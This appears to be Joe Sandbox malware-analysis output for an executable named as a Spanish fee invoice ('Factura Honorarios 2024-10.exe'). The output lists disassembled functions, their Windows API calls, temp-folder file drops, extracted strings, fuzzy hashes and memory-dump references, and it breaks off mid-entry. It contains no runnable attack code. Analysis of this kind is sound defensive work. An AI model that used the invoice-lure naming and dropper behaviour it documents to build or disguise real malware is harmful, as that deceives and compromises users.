Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @qB$N$open
API String ID: 3615053054-1317396031
Opcode ID: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction ID: bf3a58da35b54ffee1731227a2abeb8335aa36a287bc534981c9d3d9286f6950
Opcode Fuzzy Hash: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction Fuzzy Hash: F4718FB1A00209BFDB109F61DD85E6A7B79FB44354F00803AFA01B62D0D778AD61CFA9

Function 00405A95 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D38,NUL,?,00000000,?,?,?,00405C39,?,?,?,004057B1,?,00000000,000000F1,?), ref: 00405AA5
CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,?,?,00405C39,?,?,?,004057B1,?,00000000,000000F1,?), ref: 00405AC9
GetShortPathNameW.KERNEL32(00000000,00425D38,00000400), ref: 00405AD2

Part of subcall function 00405948: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
Part of subcall function 00405948: lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

GetShortPathNameW.KERNEL32(?,00426538,00000400), ref: 00405AEF
wsprintfA.USER32 ref: 00405B0D
GetFileSize.KERNEL32(00000000,00000000,00426538,C0000000,00000004,00426538,?,?,?,?,?), ref: 00405B48
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405B57
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405B8F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425938,00000000,-0000000A,00409514,00000000,[Rename],00000000,00000000,00000000), ref: 00405BE5
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405BF7
GlobalFree.KERNEL32(00000000), ref: 00405BFE
CloseHandle.KERNEL32(00000000), ref: 00405C05

Part of subcall function 004059E3: GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

Strings

%ls=%ls, xrefs: 00405B03
8]B, xrefs: 00405A9A
NUL, xrefs: 00405A9F
8eB, xrefs: 00405AE4
[Rename], xrefs: 00405B77, 00405B89

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$8]B$8eB$NUL$[Rename]
API String ID: 1265525490-2949686642
Opcode ID: af31582807115e4b1434e021074788440192fe112e8d2dfb1a91ec7abac6484c
Instruction ID: 0a051ccaee0c074b1a09a4e80aa922ec39551e5d9eafb60cec8afc598b306fa0
Opcode Fuzzy Hash: af31582807115e4b1434e021074788440192fe112e8d2dfb1a91ec7abac6484c
Instruction Fuzzy Hash: BC412671605B14BBE2206B215C49F6B7A6CDF45728F14003AF901F62D2D67CBD018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281A0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
Instruction ID: 4121dad2538bec1171c888a02065f78bbc92972143ed5d2ae8151d97d00695b6
Opcode Fuzzy Hash: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
Instruction Fuzzy Hash: 68418A71804249AFDB058FA5DD459BFBBB9FF48310F00812AF951AA1A0C738EA51DFA5

Function 100022EB Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(00000040), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Strings

@Hmu, xrefs: 100023BF

Memory Dump Source

Source File: 00000000.00000002.2309234242.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2309207055.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309259990.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309283530.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID: @Hmu
API String ID: 3579998418-887474944
Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61

Function 0040600B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 0040606E
CharNextW.USER32(?,?,?,00000000), ref: 0040607D
CharNextW.USER32(?,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406082
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406095

Strings

"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe", xrefs: 0040604F
C:\Users\user\AppData\Local\Temp\, xrefs: 0040600C, 00406011
*?|<>/":, xrefs: 0040605D

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-395941777
Opcode ID: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction ID: 5f8db4d4ef1aaeb388f58d13ad2a41ec80f6628d4c19804d17f22981d69c56f6
Opcode Fuzzy Hash: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction Fuzzy Hash: 5311C45684121299DB30BB199C40BB7A2E8EF54790F52803FED8A733C1E77C5C9286BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsn497A.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsn497A.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C
C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C
C:\Users\user\AppData\Local\Temp\nsn497A.tmp, xrefs: 00402528

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user\AppData\Local\Temp\nsn497A.tmp$C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll
API String ID: 1453599865-3650398636
Opcode ID: 7ff42c571deb340bf81926ce0c082dd5313d153aba56cb08d0eeabb960131028
Instruction ID: 7a030a9c095cf7661290fe091fec1a729e70b9dbbd1292938289fd6a30d2cb41
Opcode Fuzzy Hash: 7ff42c571deb340bf81926ce0c082dd5313d153aba56cb08d0eeabb960131028
Instruction Fuzzy Hash: 18018071A04204FFD700AFA09E89EAF7378AB10319F20453BB202B61D1D6B85D419A2D

Function 00404023 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404040
GetSysColor.USER32(00000000), ref: 0040405C
SetTextColor.GDI32(?,00000000), ref: 00404068
SetBkMode.GDI32(?,?), ref: 00404074
GetSysColor.USER32(?), ref: 00404087
SetBkColor.GDI32(?,?), ref: 00404097
DeleteObject.GDI32(?), ref: 004040B1
CreateBrushIndirect.GDI32(?), ref: 004040BB

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 7833da122bd5b54dba07469e608d39c2309fd7833842469cb0c606e819627665
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: 5A2184B19047449BCB319F68DD08B5B7BF8AF40714F048A29EA95F22E0C738E904CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 0040264F

Part of subcall function 00405A66: ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004031B1,00000000,00000000,00402FF1,000000FF,00000004,00000000,00000000,00000000), ref: 00405A7A

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction ID: a762cbfc482fee2f38ad097521ed942063d68533c50e5d13a1d21fd8ed512a93
Opcode Fuzzy Hash: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction Fuzzy Hash: 2E51E671E04209ABDF24DF94DE88AAEB779FF14304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 09ec96b44468b6559568886edfe2b22b6abacdf6cac7a22eaf78803dc8c7711a
